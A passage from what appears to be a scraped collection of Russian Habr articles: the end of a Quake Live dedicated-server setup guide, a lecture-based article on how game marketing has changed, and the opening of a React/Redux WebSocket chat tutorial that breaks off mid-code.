g_voteLimit "0" set g_allowVoteMidGame "1" set g_allowSpecVote "0". set g_inactivity "120" // Kick players who are inactive for x amount of seconds. set g_alltalk "1" set sv_serverType "2". set sv_master "1" set sv_fps "40" set sv_idleExit "120" set sv_pure "0" set serverstartup "map bloodrun duel" // minqlx configuration set qlx_owner "12345678910111213" set qlx_plugins "plugin_manager, essentials, motd, permission, ban, silence, clan, names, log, workshop, balance, branding, changemap, pingspec, clanspinner, autorestart, custom_votes" set qlx_balanceUrl "qlstats.net" set qlx_balanceApi "elo" // "elo_b" - для 4fun серверов, скрывает реальный рейтинг set qlx_protectedPerm "3" set qlx_defaultMapToChangeTo "bloodrun" set qlx_defaultMapFactoryToChangeTo "duel" set qlx_pingSpecSecondsBetweenChecks "30" set qlx_pingSpecMaxPing "120" set qlx_rulesetLocked "1" set qlx_disablePlayerRemoval "0" set qlx_disableCvarVoting "1" set qlx_cvarVotePermissionRequired "3" // branding set qlx_serverBrandName "MY Server #1" set qlx_serverBrandTopField "server admin : player" set qlx_serverBrandBottomField "Some text here" set qlx_connectMessage "welcome to server" set qlx_loadedMessage "Please be respectfull to each other" set qlx_countdownMessage "Be good or be dead. GL & HF!" set qlx_endOfGameMessage "Good Game!" reload_access reload_mappool EOF Осталось совсем немного! На всякий случай, переопределим владельца в директории /home/ql: chown -R ql:ql /home/ql Сервер настроен, осталось убедиться, что он будет работать всегда, когда потребуется. Не зря же мы ставили supervisor? tee /etc/supervisor/conf.d/ql.conf <<-'EOF' [program:quakelive] command=/bin/bash -c "exec /home/ql/start-server.sh %(process_num)s" user=ql process_name=ql_%(process_num)s numprocs=3 autorestart=true EOF service supervisor restart данный конфиг запустит 3 инстанса quake live с портами 27960, 27961, 27962, и будет перезапускать их в случае зависания, а так же запускать при перезагрузке сервера. Для управления вручную используется supervisorctl start/stop/restart all/ql_1 Ну и напоследок — если хотите, чтобы статистика на вашем сервере собиралась и учитывалась — зарегистрируйте сервера на сайте qlstats.net :8084/servers.html, используя пароль из скрипта запуска start_server.sh, строка zmq_stats_password. Чуть не забыл! Для добавления контента, отредактируйте файл /home/ql/baseq3/workshop.txt. cat /home/ql/baseq3/workshop.txt # specify 1 workshop item id per line, ex: # 494372396 # 441344649 Контент вот здесь . Айди проще всего скопировать из url понравившегося дополнения . Кстати, тут есть старый добрый дефраг со всеми возможными картами ;) Не забудьте перезапустить сервера после добавления новинок! supervisorctl restart all Пожалуй, на этом всё. Надеюсь, эта информация будет полезной — полноценного howto по установке серверов Quake Live на русском я не встречал, что и сподвигло на написание этой заметки. Данные настройки позволяют серверу кроме всего прочего работать со статистикой игроков, просмотр во время игры — при помощи команды !elo. Рейтинг высчитывается автоматически, на основании всех игр на всех серверах, поставляющих статистику на qlstats.net. До 1500 — обычные игроки, от 1600 и выше — те, кто играют почаще и получше, от 2000 — профи и киборги-убийцы, отдавшие богу квейка мозг, сердце, и большую часть свободного времени :) Послесловие. Некоторые технически продвинутые читатели с недоумением подумают — зачем всё это, если есть докер, и будут отчасти правы. Отчасти потому, что найденные мною образы меня не устроили. Инструкция писалась по мере настройки собственного сервера, как основа для собственного образа. Благодарю за внимание. GL & HF! P.S. Пожалуйста, грамматические и стилистические ошибки — присылайте в личку, обязательно исправлю. Ошибки и/или best practice по стилю написания статьи, использованию команд linux — пожалуйста, оставляйте в комментариях.
https://habrahabr.ru/post/318146/
habrahabr
Маркетинг игр и с чем его едят
['вшби', 'маркетинг', 'игры', 'геймдев', 'игровая индустрия', 'маркетинг игр']
Чтобы понять, что такое маркетинг игр и с чем его едят, в данной статье мы поговорим о следующих вопросах: — Какой он – игровой маркетинг; — Как начинался; — Как менялся; — Почему сегодня мы...
Чтобы понять, что такое маркетинг игр и с чем его едят, в данной статье мы поговорим о следующих вопросах: — Какой он – игровой маркетинг; — Как начинался; — Как менялся; — Почему сегодня мы имеем такой игровой маркетинг, который имеем; — Что нас ждет в будущем: как будет меняться маркетинг, как будут меняться рынки. Материал подготовлен на базе открытой лекции Сергея Зыкова по игровому маркетингу , которая проходила в рамках нашей образовательной программы «Менеджмент игровых интернет-проектов» в ВШБИ. Если интересно, добро пожаловать под кат. Что такое маркетинг? Вопрос, терзающий многие пытливые умы. Каждый более-менее заслуженный маркетолог считает своим долгом придумать свое определение того, что такое маркетинг. Официальных обозначений его – маркетинга – более 500 штук, неофициальных – более 2000. Но одним из лучших считается определение, данное «отцом» теоретического маркетинга Филиппом Котлером: «Маркетинг – это искусство и наука в том, чтобы правильно выбирать свой рынок, привлекать, сохранять и наращивать потребителей посредством создания у покупателей уверенности в том, что они представляют собой наивысшую ценность для компании» В этом определении вся суть маркетинга в его классическом понимании. Искусство создавать у потребителя ощущение, что он действительно важен. Понимать, что именно потребитель стоит во главе маркетинговой цепочки. И уметь создать в его сознании ту самую, пресловутую ценность. Которой, кстати, может нигде кроме его сознания и не существовать. Но мир меняется. Меняется с поразительной скоростью. Иной ритм жизни, иные привычки, всеобщая глобализация, увеличившаяся скорость принятия решений в условиях практически безграничного выбора вариантов – все это приводит к тому, что потребитель уже «не тот что раньше» (на заднем плане слышно старческое кряхтенье). А наш рынок, игровой – подвержен постоянному изменению больше многих других! Новые тренды, игровое железо, позволяющее реализовать то что казалось несбыточным буквально год назад, тысячи игр выходящих на рынок ежедневно, — мы несемся вперед с такой скоростью, что иногда успеваем добежать куда-то раньше, чем понимаем, зачем вообще побежали. И маркетинг игр вынужден постоянно меняться – решения, отлично работавшие несколько лет назад, сейчас проигрывают своим сегодняшним аналогам. Новые маркетинговые каналы, безграничные возможности аналитики, закупка трафика, выросшие «из ниоткуда» лидеры мнений и доминация социальных сетей – это то, с чем маркетинг работает сегодня. Но возможно, что уже завтра этого снова окажется недостаточно. Ведь потребители продолжают меняться. Рынок расширяется день ото дня. Возможности (и желания) игроков выросли. Еще 8-10 лет назад выбор платформы был определяющим, игроков практически призывали «делать выбор» между той или иной игрой. А сейчас, если верить бессердечной статистике, большинство играет на двух-трех платформах. Это нормально: Гонять в MMOPRG на ПК, по пути на работу сыграть в match-3, а в офисе кормить свиней на своей ферме вместо подготовки презентации для клиента. И что мы имеем на текущий момент: Огромная аудитория, неравномерно поделённая между платформами Разные ценности, важные для игроков в зависимости от платформы Лютая конкуренция (особенно в сегментах Mobile/PC) Высокая стоимость разработки (Console) Ограниченность временных/денежных ресурсов игрока Высокая степень пресыщения Конкуренция на всех платформах (равно как и конкуренция между платформами) возросла. Игр стало больше, а внимания пользователей – меньше. Если раньше игрок был готов как-то мириться с не самым удобным интерфейсом, разбираться в правилах и преодолевать игровые сложности – то сегодня, если игра не «зацепила» в течение 10-15 минут, то второго шанса она не получит. И все это, волей-неволей, должен учитывать и регулировать кто? Правильно, те самые маркетологи, которых ненавидят геймдизайнеры и недолюбливают продюсеры. И маркетинг меняется – как менялся вместе с рынком все время. Краткий экскурс в историю: еще каких-то 8 лет назад, и рынок, и маркетинг выглядели совершенно иначе нежели сейчас. Разработчики делали упор на качество продукта Активно вкладывались в развитие игровых франшиз Никакого F2P, только хардкор! Игра выходила на 1-2 платформы И сильно зависела от физического присутствия товара на рынке Да, в свое время важно было не только сделать игру и обеспечить ей достойный маркетинг – но и физически вовремя доставить ее во все магазины. А наличие Steam-активации в регионах нашей страны вообще считалось крайне вредным для продаж фактором, ведь всеобщая интернетизация тогда только начиналась. И маркетинг в то время был совсем иным: Долгий маркетинговый цикл (с момента анонса игры до выхода зачастую проходило больше трех лет) Традиционные каналы продвижения ( в основном профильные ресурсы, в том числе печатная пресса) Высокая роль PR (ну а как еще удерживать аудиторию в напряжении три года?) Важность оформления точек продаж игры Огромная роль франшиз и brand awareness Как правило, заканчивался маркетинговый цикл через месяц-два после релиза игры. А основной целью было именно продать заветную коробочку с дисками счастливому игроку. И было так, и это было хорошо. Пока кому-то в голову не пришла идея F2P. Рынок вздрогнул, и привычная модель работы начала трескаться и рассыпаться на глазах. Потому как F2P был основан на совершенно иной модели зарабатывания денег! Игра доставалась пользователю бесплатно – а дальше основной задачей было «вынуть» из него деньги за внутриигровые плюшки и бонусы. Это в корне меняло весь подход к маркетингу подобных игр. Вдобавок, огромная аудитория, не игравшая до этого, решила «попробовать» — все равно же денег не просят! Попробовала, и ей понравилось. И с ней тоже надо было работать. И маркетинг стал другим: — Маркетинг стал считать и анализировать все происходящее — Основными каналами стали цифровые. Традиционные медиа стали уступать по ряду показателей — Эффективность стала оцениваться в том, в чем должна: кол-во заработанных денег/привлечённых пользователей — Понятие «потребитель» стало дробным – «игрок», «донатор», «подписчик», «социальщик» и др. — Мы выучили новые слова: «монетизация», CPI, LTV, и прочая reengagement, атрибуция… Все это стало крайне востребованным и при работе с новыми платформами – браузерными, социальными играми, и начавшими набирать вес мобильными играми. Особенно с последними! Ведь к этому моменту: — Технологии позволяли обеспечить достаточно приемлемую картинку при имеющихся системных ресурсах — Стоимость смартфонов стала достаточно низкой чтобы их могли позволить себе многие — Появились единые платформы для игр на мобильных устройствах (Appstore, Google Play) И рынок снова эволюционировал. Активизация мобильной разработки принесла нам: Огромную новую аудитория людей, которые до этого не играли ВООБЩЕ («змейка» и «сапер» не считаются) Резкое увеличение кол-ва разработчиков для мобильных платформ Новые игровые механики А для маркетинга окончательно наступила эра Performance Marketing. Что это? В двух словах (ну ладно, чуть больше чем в двух): Mаркетинг, нацеленный на результат – повышение продаж. Отличительная черта: возможность на всех этапах работы увидеть конкретный количественный показатель, который будет отражать результат работы каждого отдельно взятого направления маркетинга. Основывается на четко и однозначно измеряемых параметрах. Постоянно анализирует получаемый трафик Основные метрики: ROI, ROMI, CPA, CPI, CR, СTR, LTV и другие страшные слова По сути это совокупность каналов и инструментов, которые охватывают весь digital, предоставляя возможность делать размещения эффективными с точки зрения показателей, максимально приближенных к бизнес целям клиентов. Именно в этот момент в маркетинге игр появилось понятие «покупки трафика». Это позволило привлекать огромное количество людей в игры – но также, снизило планку качества для разрабатываемых игр. Иначе, наверное и быть не могло. Судите сами: Новый рынок (мобильных игр), с невысокой ценой вхождения, достаточно бюджетной (в первое время) стоимостью привлечённого игрока – и еще не пресыщенная аудитория! Скорость разработки и количество игр стали превалировать над качеством. И рынок действительно позволял зарабатывать даже на крайне средних по качеству проектах. Именно поэтому мы сегодня имеем следующую картину рынка: Фокус сместился в сторону аудитории, а не продукта. Появились новые каналы продвижения: социальные сети, блоггеры/ютуберы, «вирусное» распространение и т.п. Новые методы расчёта/оценки эффективности: LTV, ROI, СPI — F2P заставил изменить весь подход к оценке эффективности тех или иных решений «Закупка трафика» стала самым эффективным методом продвижения продуктов – традиционный маркетинг «сдал позиции» Новые временнЫе рамки – промо продуктов начинается незадолго до релиза, цикл маркетинговой активности стал куда короче Обилие клонов и однотипных игр – разработка идёт по принципу «копируем то, что зарабатывает» Но будет ли эта модель работать и дальше так же эффективно? Не факт. Уже сейчас, к примеру, на мобильном рынке наблюдается крайне неприятная для многих разработчиков ситуация: CPI становится больше LTV. Проше говоря – привлечение одного нового пользователя обходится дороже, чем доход от него за все то время что он играет. Трафик стал стоить больше (и не собирается останавливаться в своём удорожании), а вот заставить людей оставаться в своей игре дольше и платить активнее получается все хуже. Это пока не коснулось признанных лидеров рынка, но мелкие и средней руки разработчики уже бьют в набат. Похоже, мы созрели для очередного изменения рынка? Вот как будет выглядеть маркетинг игр завтрашнего дня по мнению Сергея: Радоваться особенно нечему: легче и проще работать на этом рынке не станет. Трафик продолжит дорожать (а почему бы и нет, если спрос все равно есть?), и порог входа на рынок для «середнячков» продолжит расти. Так или иначе – те, кто откажется умирать, будут вынуждены сосредоточиться на тех аспектах своих игр, которыми сегодня откровенно манкируют: Фокус на продукте • Будущее за качественными, интересными людям проектами (Ваш Капитан снова с вами, да. Но если б вы знали, как много разработчиков игнорируют это простое и казалось бы всем известное утверждение) • Копировать успешных конкурентов больше не выйдет. «Война Клоническая» должна закончиться. (Все мы взрослые люди и прекрасно понимаем, что отдельные решения, оригинальные находки и отлично зарекомендовавшие себя схемы будут беззастенчиво использоваться всеми окружающими – это нормально, к чему изобретать велосипед если кто-то уже потрудился до тебя. Но «содрать под копирку» игру, изменив графику и название, уже не будет так выгодно. Напоминаем: аудитория у нас пресытилась однотипными проектами). • Games for people, not people for games. (Начните уже делать игры для своей аудитории – и выбирать эту самую аудиторию на начальном этапе разработки. А не делать игру «для мужчин 35+», а потом судорожно подыскивать кому бы она хорошо подошла с помощью тестовых кампаний в MyTarget). • Качество. Оригинальность. Интерес. Все то что нельзя купить за трафик и вернуть ремаркетингом. (Смиритесь – в гонке за трафиком вам не победить, если конечно у вас не спрятано несколько миллионов долларов в носке). И здесь маркетинг может (и должен) активно участвовать в работе над игрой. Как? Да хотя бы (как минимум): • Помочь выявить аудиторию игры • Провести исследования выбранного рынка • Ещё на этапе разработки начать формировать комьюнити • Работать вместе с разработкой, помогая избегать «синдрома писающего против ветра» Работа с брендами/создание своих брендов Бизнес не заканчивается на игре как таковой. Посмотрите на объёмы продаж мерчендайза и лицензированных товаров Rovio. Загляните в неигровой магазин Wargaming. И если вам показалось что это «забава для крупных компаний» — то посмотрите заодно и на мерчендайз «Papers, Please» и FTL. Эти парни прекрасно понимают, что зарабатывать на своём проекте можно по-разному. И пусть ваш маркетинг помогает вам в этом: • Ища новых каналов для развития бренда • Формируя стратегию бренда и осуществляя ее реализацию • Создавая имидж бренда Создание отношений с игроками Вспомните, что аудитория бывает не только «платящей», увидьте за цифрами живых людей, которым нравится (или пока ещё нет) ваша игра. Посмотрите, как реализует свой маркетинг RIOT Games – поверьте, когда они говорят о том что работают на игроков, они действительно делают это. И судя по положению League of Legends в мире, это приносит свои плоды. Загуглите наконец что такое Relationship marketing :-) Использование новых, эффективных маркетинговых каналов • Новые времена – новые каналы продвижения • Стримеры/видеоблоггеры – новое медиа нового поколения. Используйте это! • Если PewDiePie делает игры, то почему разработчики игр не могут делать хорошие стримы?! Но только хорошие :-) • Вспомните уроки Тома Сойера – он смог превратить своё наказание в интересное развлечение для других, и ещё изрядно обогатился на этом! Вот такой он, маркетинг завтрашнего дня: • Ориентированный на качество производимого продукта • Развивающий и делающий бренды • Создающий отношения между игрой и игроками • Анализирующий рынок, игру, трафик. Анализирующий все и еще немножко сверху! • Использующий правильные каналы для маркетинговых коммуникаций • Участвующий в разработке, а не только в продвижении продукта • Работающий глобально, не замыкаясь на локальном рынке • Умеющий оценивать маркетинговую эффективность каждого канала • Заботящийся и о ROI, и о brand awareness Видеозапись лекции: часть 1 Видеозапись лекции: часть 2 Видеозапись лекции: часть 3 Что думаете вы? На каких принципах будет базироваться маркетинг игр будущего, пишите в комментариях, будем рады обсудить. Кстати, всех кто хочет послушать лекции Сергея Зыкова вживую, приглашаем 11 февраля 2017 года на Лекционный день по игровой индустрии в ВШБИ , где Сергей и другие эксперты индустрии будут в течение всего дня делиться опытом создания игр. Сергей в частности будет раскрывать тему отношений между маркетингом игр и геймдизайном. Мероприятие будет бесплатное, вход только по регистрации .
https://habrahabr.ru/company/miip/blog/317398/
habrahabr
Быстрый курс Redux + websockets для бэкендера
['reactjs', 'redux', 'redux middleware', 'websockets']
Это краткое руководство и обучение по фронтэнеду для бэкендера. В данном руководстве я решаю проблему быстрого построения пользовательского интерфейса к серверному приложению в виде одностраничного...
Это краткое руководство и обучение по фронтэнеду для бэкендера. В данном руководстве я решаю проблему быстрого построения пользовательского интерфейса к серверному приложению в виде одностраничного веб-приложения (single page app). Основной целью моего исследования является возможность за разумное время (для одного нормального человека) получить удобный и простой в использовании интерфейс-черновик к серверному приложению. Мы (как разработчики серверной части) понимаем, что наш приоритет — серверная часть. Когда (в гипотетическом проекте) появятся во фронте профи своего дела, они все сделают красиво и "правильно". В роли учебной задачи представлена страничка чата с каким-то умозрительным "ботом", который работает на стороне сервера и принимает сообщение только через WebSocket. Бот при этом выполняет эхо ваших сообщений (мы тут не рассматриваем серверную часть вообще). Мне для изложения материала требуется, чтобы вы имели: базовое знание javascript (тут нужно поискать в интернете справочник по крайней версии js стандартов ES-2015) знание reactjs (на уровне обучения https://facebook.github.io/react/tutorial/tutorial.html ) понятие о websockets (это очень просто, главное чтобы ваш сервер это умел) знание и умение использовать bootstrap (на уровне этого раздела http://getbootstrap.com/css/ ) Что используем Redux — официальная документация расположена по адресу http://redux.js.org . По-русски есть несколько вариантов, я лично использовал в основном https://rajdee.gitbooks.io/redux-in-russian/content/docs/introduction/index.html . Статью exec64, она стала причиной написать этот тутриал https://exec64.co.uk/blog/websockets_with_redux/ . Готовый сервер с react и redux от https://github.com/erikras/react-redux-universal-hot-example (он нам спасает человеко-месяцы времени по настройке большой связки технологий, которые необходимы для современного js проекта) Мотивация Вообще я разрабатываю приложение на языке Python. Погоди-погоди уходить ... Что мне было нужно: мне нужно чтобы реализация интерфейса не диктовала мне выбор технологий на стороне серверной части современные технологии (мне нечего было терять или быть чем-то обязанным "старым проверенным приемам") это должно быть одностраничное приложений (я уже сам выберу, где можно обновлять страницу целиком) мне нужна реакция пользовательского интерфейса в реальном времени на серверные события мне нужен обмен информацией сервер-клиент (а не клиент-сервер) в реальном времени мне нужна возможность генерировать обновления клиента на сервере Что было испробовано: вариации на тему на чистом js (устарело, есть много полезных моделей велосипеда) JQuery ( уже не могу ТАК извратить так свой мозг , крайне сложный для быстрого старта синтаксис и… это дело профессионалов) Angular (переход на 2 версию спугнул и не нашел за отведенное время лазейки к решению моей задачи) Socket.io (там все реализовано, если вы node.js программист вы уже его используете, но он слишком сильно привязывает серверную часть на node, мне нужен только клиент без третьих лиц) Выбрано в итоге: React (понятно и доступно/просто + babel = делает язык вполне понятным) Redux (импонирует использование единой помойки единого хранилища) WebSockets (очень просто и не связывает руки, а позволяет внутри себя уже применять такой формат какой позволит фантазия) Упрощения и допущения: Мы не будем использовать авторизации в приложении Мы не будет использовать авторизации в WebSocket-ах Мы будем использовать самое доступное приложение Websocket Echo ( https://www.websocket.org/echo.html ) Содержание Часть первая. Первоначальная настройка. Настройка одной страницы Часть вторая. Проектирование будущего приложения Часть третья. Изумительный Redux Часть четвертая. Оживляем историю Часть пятая. Проектируем чат Часть шестая. Мидлваре Как читать Не будете повторять — пропускайте часть 1 Знаете reactjs — пропускайте часть 2 Знаете redux — пропускайте части 3, 4 и 5 Знаете как работает middleware в redux — смело читайте часть 6 и далее в обратном порядке. Часть первая. Первоначальная настройка. Настройка страницы. Настройка окружения Нам нужен node.js и npm. Ставим node.js с сайта https://nodejs.org — а именно этот гайд написан на 6ой версии, версию 7 тестировал — все работает. npm устанавливается вместе с node.js Далее нужно запустить npm и обновить node.js (для windows все тоже самое без npm) sudo npm cache clean -f sudo npm install -g n sudo n stable проверяем node -v Настройка react-redux-universal-hot-example Все выложено в react-redux-universal-hot-example , там же инструкция по установке. Тут привожу последовательность действий Скачиваем и разархивируем архив/форкаем/что-угодно-как-вам-нравится. Через node.js command line или терминал переходим в эту папку Запускаем npm install npm run dev Переходим на http://localhost:3000 и должны видеть стартовую страницу. Если все ок — приступаем. Создаем новый контейнер Для настройки раздела используем предоставленную справку от команды react-redux-universal-hot-example . Оригинал статьи находится тут . cd ./src/containers && mkdir ./SocketExample Копируем туда hello.js как шаблон странички cp About/About.js Hello/SocketExamplePage.js Я использую для всего этого Atom, как действительно прекрасный редактор-чего-угодно с некоторыми плюшками. Правим скопированный файл Создаем заглушку под нашу страница. Вводим элемент <p> . Позже будем выводить статус соединения в этот элемент. import React, {Component} from 'react'; import Helmet from 'react-helmet'; export default class SocketExamplePage extends Component { render() { return ( <div className="container"> <h1>Socket Exapmle Page</h1> <Helmet title="Socket Exapmle Page"/> <p>Sockets not connected</p> </div> ); } } Подключаем созданную страницу Добавляем в ./src/containers/index.js новый компонент React export SocketExamplePage from './SocketExample/SocketExamplePage'; Добавляем в ./src/routes.js , чтобы связать переход по пунти /socketexamplepage в карту ссылок ... import { App, Chat, Home, Widgets, About, Login, LoginSuccess, Survey, NotFound, SocketExamplePage } from 'containers'; ... { /* Routes */ } <Route path="about" component={About}/> <Route path="login" component={Login}/> <Route path="survey" component={Survey}/> <Route path="widgets" component={Widgets}/> <Route path="socketexamplepage" component={SocketExamplePage}/> ... Добавляем в ./src/containers/App/App.js , чтобы добавить пункт в меню <LinkContainer to="/socketexamplepage"> <NavItem eventKey={99}>Socket Example Page</NavItem> </LinkContainer> Проверяем npm run dev Коммит: https://github.com/valentinmk/react-redux-universal-hot-example/commit/69935996671fc5dd64062143526d1a00b49afcbd На данный момент мы имеем: Раздел веб приложения Страничка на React для нашего приложения Заготовка, чтобы идти дальше Прежде чем начнем. Я все разрабатывал в обратном порядке — сначала крутил мидлваре, потом прокидывал экшены и только потом уже прикручивал адекватный интерфейс в reactjs. Мы в руководстве будем делать все в правильном порядке, потому что так действительно быстрее и проще. Минус моего подхода в том, что я использовал в разы больше отладки и "костылей", чем нужно на самом деле. Будем рациональными. Часть вторая. Проектирование будущего приложения Сначала мы проектируем интерфейс пользователя. Для этого мы примерно представляем, как должен выглядеть скелет нашего интерфейса и какие действия будут происходить в нем. В руководстве для начинающих React представлен подход по проектированию динамических приложений на React, от которого мы не будем отклоняться, а прямо будем следовать по нему. Дэн Абрамов писал в своей документации много про то, что и как нужно разделять в приложении и как организовывать структуру приложения. Мы будем следовать его примеру. Итак начнем. Прежде всего хочу сказать, что для наглядности и отладки прямо при написании приложения мы будем добавлять элементы уберем с формы после окончания работы. Пользовательский интерфейс "Вариант 1" Мы добавляем два новых раздела на нашу страницу. В логе подключения сокетов будем кратко выводить текущие события, связанные с подключением отключением. Изменяем файл ./src/containers/SocketExample/SocketExamplePage.js . // inside render () { return (...) } <h3>Socket connection log</h3> <textarea className="form-control" rows="1" readOnly placeholder="Waiting ..." value=" index = 2, loaded = true, message = Connected, connected = true index = 1, loaded = false, message = Connecting..., connected = false"/> index — порядковый номер записи лога loaded — признак загружен ли элемент на странице пользователя message — переменна-сообщение для отладки и наглядности кода connected — признак подключены ли мы сейчас к серверу Конечно мы забыли про кнопки и поля ввода, добавляем: подключиться к websocket отключиться от websocket <button className="btn btn-primary btn-sm"> <i className="fa fa-sign-in"/> Connect </button> <button className="btn btn-danger btn-sm"> <i className="fa fa-sign-out"/> Disconnect </button> В логе сообщений будем отображать отправленные -> и полученные сообщения <- . // inside render () { return (...) } <h3>Message log</h3> <ul> <li key="1" className="unstyled"> <span className="glyphicon glyphicon-arrow-right"></span> Socket string </li> <li key="2" className="unstyled"> <span className="glyphicon glyphicon-arrow-left"></span> [ECHO] Socket string </li> </ul> Кнопка и ввод для отправить сообщение <form className="form-inline"> <p></p> <div className="form-group"> <input className="form-control input-sm" type="text" ref="message_text"></input> </div> <button className="btn btn-primary btn-sm"> <i className="fa fa-sign-in"/> Send </button> </form> Не нажимайте кнопку Send Проверяем и закомитимся для получения полного кода. Коммит: https://github.com/valentinmk/react-redux-universal-hot-example/commit/510a59f732a9bf42e070e7f57e970a2307661739 Пользовательский интерфейс Вариант 2. Компоненты. Давайте разделим все на компоненты. Ничего сложного. Создаем новую папку в директории ./src/components назовем ее SocketExampleComponents . Добавление компонента происходит в три шага: 1 — создаем файл с компонентом в нашей папке SocketConnectionLog.js мы оборачиваем в содержимое компонента в div так как от нас этого ожидает React import React, {Component} from 'react'; export default class SocketConnectionLog extends Component { render() { return ( <div> <h3>Socket connection log</h3> <textarea className="form-control" rows="1" readOnly placeholder="Waiting ..." value=" index = 2, loaded = true, message = Connected, connected = true index = 1, loaded = false, message = Connecting..., connected = false"/> <button className="btn btn-primary btn-sm"> <i className="fa fa-sign-in"/> Connect </button> <button className="btn btn-danger btn-sm"> <i className="fa fa-sign-out"/> Disconnect </button> </div> ); } } 2 — прописываем наш новый компонент в файле components/index.js export SocketConnectionLog from './SocketExampleComponents/SocketConnectionLog'; 3 — правим нашу страницу ./src/components/SocketExamplePage.js и вместо скопированного нами кода вставляем только один элемент import {SocketConnectionLog} from 'components'; // ... <SocketConnectionLog /> Добавляем другой новый компонент в ту же папку ./src/components/SocketExampleComponents . Добавляем в три шага 1 — создаем файл с компонентом в нашей папке SocketMessageLog.js import React, {Component} from 'react'; export default class SocketMessageLog extends Component { render() { return ( <div> <h3>Message log</h3> <ul> <li key="1" className="unstyled"> <span className="glyphicon glyphicon-arrow-right"></span> Socket string </li> <li key="2" className="unstyled"> <span className="glyphicon glyphicon-arrow-left"></span> [ECHO] Socket string </li> </ul> <form className="form-inline"> <p></p> <div className="form-group"> <input className="form-control input-sm" type="text" ref="message_text"></input> </div> <button className="btn btn-primary btn-sm"> <i className="fa fa-sign-in"/> Send </button> </form> </div> ); } } 2 — прописываем наш новый компонент в файле ./src/components/index.js export SocketMessageLog from './SocketExampleComponents/SocketMessageLog'; 3 — правим нашу страницу и вместо скопированного нами кода вставляем только один элемент // ... import {SocketMessageLog} from 'components'; // ... <SocketMessageLog/> Проверяем. Ничего не изменилось и это успех. Коммит: https://github.com/valentinmk/react-redux-universal-hot-example/commit/97a6526020a549f2ddf91370ac70dbc0737f167b Заканчиваем 2 часть. Часть третья. Изумительный Redux Переходим сразу к Redux. Для этого нужно: Создать редюсер Создать экшены И подключить все это в общую систему Про экшены написано В официальной документации Про редюсеры написано Там же Создаем файл Создаем файл ./src/redux/modules/socketexamplemodule.js и наполняем базовыми экшенами и редюсерами. Вот тут базовом примере есть странная нестыковка, все предлагается писать в одном файле, не разделяя на файл экшенов и редюсеров, ну допустим. Все равно — мы тут все взрослые люди (we are all adults). Экшены 1 export const SOCKETS_CONNECTING = 'SOCKETS_CONNECTING'; export const SOCKETS_DISCONNECTING = 'SOCKETS_DISCONNECTING'; export const SOCKETS_MESSAGE_SENDING = 'SOCKETS_MESSAGE_SENDING'; export const SOCKETS_MESSAGE_RECEIVING = 'SOCKETS_MESSAGE_RECEIVING'; Все экшены мы будем запускать по нажатию кнопок, кроме события SOCKETS_MESSAGE_RECEIVING , который мы будем синтетически вызывать вслед за отправкой сообщения. Это делается, чтобы в процессе разработки эмулировать недостающие в настоящий момент (или на конкретном этапе) функционал серверной части приложения. Редюсер Добавляем в тот же файл. export default function reducer(state = initialState, action = {}) { switch (action.type) { case SOCKETS_CONNECTING: return Object.assign({}, state, { loaded: true, message: 'Connecting...', connected: false }); case SOCKETS_DISCONNECTING: return Object.assign({}, state, { loaded: true, message: 'Disconnecting...', connected: true }); case SOCKETS_MESSAGE_SENDING: return Object.assign({}, state, { loaded: true, message: 'Send message', connected: true }); case SOCKETS_MESSAGE_RECEIVING: return Object.assign({}, state, { loaded: true, message: 'Message receive', connected: true }); default: return state; } } Более подробно про структуру reducer и зачем Object.assign({}, state,{}); можно прочитать тут . Вы заметили инициализацию state = initialState, которой мы не объявили (поставьте ESLint или его аналог — сильно упростит жизнь Нормального Человека). Добавим объявление до редюсера. Это будет первое состояние, которое мы будем иметь в нашем сторе на момент загрузки страницы, ну точнее страница будет загружаться уже с этим первоначальным состоянием. const initialState = { loaded: false, message: 'Just created', connected: false, }; Экшены 2 Теперь продолжим с нашими экшенами и на этом завершим этот модуль. Мы должны описать, как они будут изменять состояние reducer'a. Добавляем в тот же файл. export function socketsConnecting() { return {type: SOCKETS_CONNECTING}; } export function socketsDisconnecting() { return {type: SOCKETS_DISCONNECTING}; } export function socketsMessageSending() { return {type: SOCKETS_MESSAGE_SENDING}; } export function socketsMessageReceiving() { return {type: SOCKETS_MESSAGE_RECEIVING}; } Подключаем в общий редюсер На данный момент в приложении ничего не поменяется. Включаем наш модуль в общий конструктор reducer'ов. В фале ./src/redux/modules/reducer.js прописываем модуль. import socketexample from './socketexamplemodule'; и включаем его в общую структуру результирующего редюсера export default combineReducers({ routing: routerReducer, reduxAsyncConnect, auth, form, multireducer: multireducer({ counter1: counter, counter2: counter, counter3: counter }), info, pagination, widgets, // our hero socketexample }); Запускаем сервер, проверяем и ура в DevTools мы видим. Если вопросы с initialState остались, то попробуйте их поменять или добавить новую переменную в него. Коммит: https://github.com/valentinmk/react-redux-universal-hot-example/commit/0c984e3b5bc25056aa578ee57f90895bc6baaf18 Стор А стор у нас уже создан и редюсер в него подключен. Ничего не делаем. Если подробнее, то вы должны помнить, как мы добавили наш редюсер в combineReducers выше по статье. Так вот этот combineReducers сам включается в стор, который создаётся в файле ./src/redux/create.js . Подключаем стор к react компонентам Подключаем все это теперь в наши модули. В целях всесторонней демонстрации начнем с модуля истории и сделаем из него чистый компонент react (в смысле чистый от redux). Компонент SocketConnectionLog мы пока не трогаем, а идем сразу в контейнер SocketExamplePage . В данном контейнере мы будем подключать и получать данные из redux. Подключаем библиотеку в файле ./src/containers/SocketExample/SocketExamplePage.js . import {connect} from 'react-redux'; Забираем экшены, чтобы потом их использовать у себя в react. import * as socketExampleActions from 'redux/modules/socketexamplemodule'; а еще мы поменяем строку, чтобы подключить PropTypes import React, {Component, PropTypes} from 'react'; Пишем коннектор, которым будем забирать данные из нашего редюсера. @connect( state => ({ loaded: state.socketexample.loaded, message: state.socketexample.message, connected: state.socketexample.connected}), socketExampleActions) Как вы видите state.socketexample.loaded это обращение в redux, в той структуре, которую мы видим в DevTools. Теперь подключаем проверки данных, получаемых из redux, что видится целесообразным т.к. любые проверки данных на тип есть вселенское добро. static propTypes = { loaded: PropTypes.bool, message: PropTypes.string, connected: PropTypes.bool } Мы получили данные теперь давайте их передавать. Внутри блока render объявляем и принимаем данные уже теперь из props. const {loaded, message, connected} = this.props; и спокойно и уверенно передаем их в наш модуль: <SocketConnectionLog loaded={loaded} message={message} connected={connected} /> Мы передали новые данные (через react) в компонент. Теперь переписываем наш компонент, который уже ничего не знает про стор (redux), а только обрабатывает переданные ему данные. В файле ./src/components/SocketExampleComponents/SocketConnectionLog.js действуем по списку: проверяем полученные props присваиваем их внутри render используем в нашем компоненте Начнем, импортируем недостающие библиотеки: import React, {Component, PropTypes} from 